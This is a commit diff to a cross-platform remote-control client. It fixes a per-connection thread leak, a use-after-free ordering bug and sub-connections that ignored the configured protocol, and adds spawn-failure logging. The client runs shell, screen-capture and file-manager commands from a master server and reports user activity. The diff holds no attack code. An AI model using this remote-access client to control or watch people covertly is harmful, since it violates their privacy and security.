Fix(client): detach the receive thread instead of leaking one per connection

CloseHandle and SAFE_CLOSE_HANDLE are empty off Windows, so the POSIX
receive thread is never released: nothing detaches it and nothing joins
it. Every IOCPClient keeps one thread for good, and each screen, file,
shell or log sub-connection constructs a fresh IOCPClient. Once the leak
reaches RLIMIT_NPROC, pthread_create returns EAGAIN, std::thread throws,
and OnServerReceiving's catch(...) swallows it: every command that spawns
a worker goes quiet while COMMAND_SYSTEM keeps working. Observed on a Mac
after six weeks: 2048 threads against a 1333 limit.

Detach the thread right after creation so it is reclaimed when it
returns; the destructor still waits on m_bWorkThread, so nothing else
changes. Also log the pthread_create failure that used to be silent, and
publish S_STOP as the very last write in WorkThreadProc: the destructor
reads it as "thread is gone" and frees this, so the m_bIsRunning that
used to follow it could land in freed memory.

Two smaller fixes on the same sub-connection path:

- common/sub_conn_thread.h never called SetDefaultProto, so sub-connects
  fell back to plaintext TCP whatever g_SETTINGS.protoType said: behind a
  reverse proxy the packet dies before the master (no [ConnAuth] on the
  server, only "waiting for ack timed out" on the client). Android did.
- macos/main.mm and linux/main.cpp log the spawn before starting the
  worker and catch std::system_error, reporting e.code().value() rather
  than errno, which libc++/libstdc++ never set here. The macOS skeleton
  also reports ConnectServer failures and a null createHandler.

Co-Authored-By: deepseek-flash
This commit is contained in:
yuanyuanxianganddeepseek-flash committed 2026-11-14 11:43:04 +01:00
1 parent 80c7d1ed53
commit 3d87ec6720
4 files changed
+100 -19

No files matched your search

+21 -1
View File
@@ -766,6 +766,17 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
pthread_t id = 0;
int ret = pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
if (ret == 0) {
// 必须 detach:POSIX 上 CloseHandle / SAFE_CLOSE_HANDLE 是空宏
// (common/commands.h:77-78),析构函数里的 SAFE_CLOSE_HANDLE(m_hWorkThread)
// 什么都不做,也没有任何地方 pthread_join 过这个线程。未 detach 的 pthread
// 退出后不会释放线程结构体和栈,于是**每个 IOCPClient 实例永久泄漏一个线程**
// —— 而子连接(屏幕/文件/终端/日志)每次点击都新建一个 IOCPClient。
// 泄漏累积到 RLIMIT_NPROC 附近后 pthread_create 开始返回 EAGAIN:
// 主连接因为已有线程还活着不受影响,但新开的子连接全部失败,
// 表现为「重启客户端就好、点按钮毫无反应」。detach 后线程退出即回收。
// 安全性:析构函数仍靠 m_bWorkThread 等待线程收尾;m_hWorkThread 在 POSIX 上
// 只当「线程已存在」的标志位用,从不被当作内核句柄解引用。
pthread_detach(id);
m_bWorkThread = S_RUN;
m_bIsRunning = TRUE;
// Store pthread_t so subsequent ConnectServer calls (reconnects) find
@@ -775,6 +786,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
// SAFE_CLOSE_HANDLE and CloseHandle are no-ops on Android, so the value
// is never dereferenced as a kernel handle.
m_hWorkThread = reinterpret_cast<HANDLE>(static_cast<uintptr_t>(id));
} else {
// pthread_create 直接返回错误码(不经 errno):EAGAIN(35)/EPERM(1) 基本就是
// 进程/用户的线程数到顶。这条路径原本完全静默——连接看起来「成功」了,
// 但没有收包线程,后续 ConnAuth 必然超时,日志里只剩一句"等待响应超时"。
Mprintf("[ERROR] pthread_create(WorkThread) failed: ret=%d\n", ret);
}
#endif
}
@@ -853,9 +869,13 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
}
SAFE_CLOSE_HANDLE(This->m_hWorkThread);
This->m_hWorkThread = NULL;
This->m_bWorkThread = S_STOP;
This->m_bIsRunning = FALSE;
delete[] szBuffer;
// 最后一步才发布 S_STOP:析构函数以「m_bWorkThread != S_RUN」判断线程已完全退出,
// 看到它之后就会释放成员并返回,调用方随即 delete this。反过来写(先 S_STOP 再
// m_bIsRunning)等于给析构函数一个提前放行的窗口——最后那句 m_bIsRunning 会写进
// 已释放的内存。此后本函数不得再读写 This 的任何成员。
This->m_bWorkThread = S_STOP;
return 0xDEAD;
}
+23
View File
@@ -47,6 +47,18 @@ inline void RunSubConnThread(const char* threadName, CreateFn createHandler, OnR
void* clientAddr = ClientObject.get();
Mprintf(">>> Enter %s [%p]\n", threadName, clientAddr);
// 传输协议必须显式喂进去,否则子连接与主连接走的不是同一条路:
// Linux/macOS 的 IOCPClient 不带 m_conn,ConnectServer 里协议来源是
// m_defaultProto(默认 -1 = 明文 TCP)。主连接在 main 里已 SetDefaultProto
// (macos/main.mm / linux/main.cpp),子连接漏掉这一步时,配成 WS/WSS 的客户端
// 会出现「主连接正常、所有子连接静默按明文直连」——经反代/HTTP 代理接入时,
// 明文 TCP 在到达主控之前就被丢掉,服务端连一条 [ConnAuth] 都看不到,
// 而客户端只会卡在 "[ConnAuth] 等待响应超时"。见 main.mm 里同一段注释。
ClientObject->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType);
Mprintf(">>> %s: proto=%d (%s:%d)\n", threadName,
(int)(unsigned char)g_SETTINGS.protoType,
g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
// 子连接:开启 auth。Linux/macOS IOCPClient 不带 m_conn,显式传入 g_myClientID。
ClientObject->EnableSubConnAuth(true, g_myClientID);
@@ -61,8 +73,19 @@ inline void RunSubConnThread(const char* threadName, CreateFn createHandler, OnR
Sleep(1000);
// 清除回调,防止重连线程访问已销毁的 handler
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
} else {
// createHandler 返回 nullptr = 本机侧初始化失败(如 macOS 无录屏权限)。
// 子连接已经建立、鉴权也已通过,这里不关掉的话它会一直挂着,服务端那边
// 表现为「子连接在线但永远不发首包」,而客户端日志里原本一个字都没有。
Mprintf("*** %s: handler init failed, dropping sub-connection ***\n", threadName);
}
} else if (S_CLIENT_NORMAL == g_bExit) {
// 只有 g_bExit 仍是 NORMAL 时才算真失败(TCP 连接、握手、ConnAuth 任一环节,
// ConnectServer 内部已各自打过具体原因)。这里补一条归属明确的收尾日志,
// 否则「子连接没建起来」在日志里只剩一行 Leave,无从判断卡在哪一步。
Mprintf("*** %s: ConnectServer failed ***\n", threadName);
}
// g_bExit 已置位 = 客户端正在退出,子连接没建起来是预期行为,不打错误日志。
Mprintf(">>> Leave %s [%p]\n", threadName, clientAddr);
} catch (const std::exception& e) {
Mprintf("*** %s exception: %s ***\n", threadName, e.what());
+26 -10
View File
@@ -9,6 +9,7 @@
#include <string.h>
#include <termios.h>
#include <thread>
#include <system_error> // std::system_error:SpawnSubConnWorker 捕获线程创建失败
#include <fcntl.h>
#include <atomic>
#include <mutex>
@@ -647,6 +648,26 @@ static void ActivityReportThread()
g_activityReportsInFlight.fetch_sub(1, std::memory_order_relaxed);
}
// 子连接 worker 的唯一启动点(与 macos/main.mm 的 SpawnSubConnWorker 同语义)。
// 线程创建失败(RLIMIT_NPROC 到顶时 pthread_create 返回 EAGAIN/EPERM,std::thread
// 构造抛 std::system_error)必须在这里接住:否则异常穿过 DataProcess 落到
// OnServerReceiving 的 catch(...),日志里只剩一行笼统的
// "[ERROR] OnServerReceiving catch an error",同一批 recv 里的其它完整包也会被丢弃。
// 表现是「点了终端/桌面/文件毫无反应,连收到命令的日志都没有」。
static void SpawnSubConnWorker(const char* name, void* (*entry)(void*))
{
Mprintf("** Received '%s' command, spawning worker ***\n", name);
try {
std::thread(entry, nullptr).detach();
} catch (const std::system_error& e) {
// pthread_create 的返回值被 libc++/libstdc++ 直接包进 error_code,errno 不可信
Mprintf("*** spawn '%s' worker FAILED: %s (code=%d) ***\n",
name, e.what(), e.code().value());
} catch (const std::exception& e) {
Mprintf("*** spawn '%s' worker FAILED: %s ***\n", name, e.what());
}
}
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
{
if (szBuffer == nullptr || ulLength == 0)
@@ -662,22 +683,17 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
g_bExit = S_CLIENT_EXIT;
} else if (szBuffer[0] == COMMAND_SHELL) {
std::thread(ShellworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
SpawnSubConnWorker("SHELL", ShellworkingThread);
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
std::thread(ScreenworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user);
SpawnSubConnWorker("SCREEN_SPY", ScreenworkingThread);
} else if (szBuffer[0] == COMMAND_SYSTEM) {
std::thread(SystemManagerThread, nullptr).detach();
Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
SpawnSubConnWorker("SYSTEM", SystemManagerThread);
} else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
std::thread(FileManagerThread, nullptr).detach();
Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
SpawnSubConnWorker("LIST_DRIVE", FileManagerThread);
} else if (szBuffer[0] == COMMAND_QUERY_LOG) {
// 与 Windows 端一致:回日志必须开子连接。服务端取走首包后 CancelIO 关的是
// 子连接;若回在主连接上,被关掉的就是主连接本身。
std::thread(ClientLogThread, nullptr).detach();
Mprintf("** [%p] Received 'QUERY_LOG' command ***\n", user);
SpawnSubConnWorker("QUERY_LOG", ClientLogThread);
} else if (szBuffer[0] == COMMAND_QUERY_ACTIVITY) {
// 历史活动:主连接一次性快照(无子连接),有桌面走窗口采样,无桌面走登录+命令记录。
// 已经有报表在飞就丢掉这一次(服务端每主机单飞行,连点也只是重复请求)
+30 -8
View File
@@ -15,6 +15,7 @@
#import <memory>
#import <string>
#import <map>
#import <system_error>
#import "../client/IOCPClient.h"
#define XXH_INLINE_ALL
@@ -755,6 +756,31 @@ void* ClientLogworkingThread(void* /*param*/)
return NULL;
}
// 子连接 worker 线程的唯一启动点。
//
// 顺序是有意为之:先把「收到命令」打出来,再 spawn。原先 Mprintf 写在
// std::thread(...).detach() 之后,一旦线程创建失败(pthread_create 返回
// EAGAIN/EPERM,进程线程数到顶、或受宿主环境限制),std::thread 构造函数抛
// std::system_error,异常会穿过 DataProcess 落到 OnServerReceiving 的 catch(...),
// 客户端日志里只剩一行笼统的 "[ERROR] OnServerReceiving catch an error":
// 「点了终端/桌面/文件毫无反应,而且连一条收到命令的日志都没有」正是这样产生的
// ——坏的三个功能恰好全都 spawn 线程,好的 SYSTEM/WSLIST 恰好都不 spawn。
static void SpawnSubConnWorker(const char* name, void* (*entry)(void*))
{
Mprintf("** Received '%s' command, spawning worker ***\n", name);
try {
std::thread(entry, nullptr).detach();
} catch (const std::system_error& e) {
// 线程创建失败只会抛 system_error,code() 里就是 pthread_create 的返回值
// (EAGAIN=35 / EPERM=1)。这里不能读 errno:libc++ 是把 pthread_create 的
// 返回值直接包成 error_code 抛出,并不设置 errno,读到的会是无关的旧值。
Mprintf("*** spawn '%s' worker FAILED: %s (code=%d) ***\n",
name, e.what(), e.code().value());
} catch (const std::exception& e) {
Mprintf("*** spawn '%s' worker FAILED: %s ***\n", name, e.what());
}
}
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
{
if (szBuffer == nullptr || ulLength == 0)
@@ -771,21 +797,17 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
g_bExit = S_CLIENT_EXIT;
g_running = false; // Stop main loop to prevent reconnection
} else if (szBuffer[0] == COMMAND_SHELL) {
std::thread(ShellworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
SpawnSubConnWorker("SHELL", ShellworkingThread);
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
std::thread(ScreenworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user);
SpawnSubConnWorker("SCREEN_SPY", ScreenworkingThread);
} else if (szBuffer[0] == COMMAND_SYSTEM) {
Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
} else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
std::thread(FileManagerworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
SpawnSubConnWorker("LIST_DRIVE", FileManagerworkingThread);
} else if (szBuffer[0] == COMMAND_QUERY_LOG) {
// 与 Windows 端一致:回日志必须开子连接(服务端取走首包后 CancelIO 关的是
// 子连接;若回在主连接上,被关掉的就是主连接本身)。
std::thread(ClientLogworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'QUERY_LOG' command ***\n", user);
SpawnSubConnWorker("QUERY_LOG", ClientLogworkingThread);
} else if (szBuffer[0] == COMMAND_C2C_PREPARE) {
// C2C 准备接收通知
FileTransferV2::HandleC2CPrepare(szBuffer, ulLength, nullptr);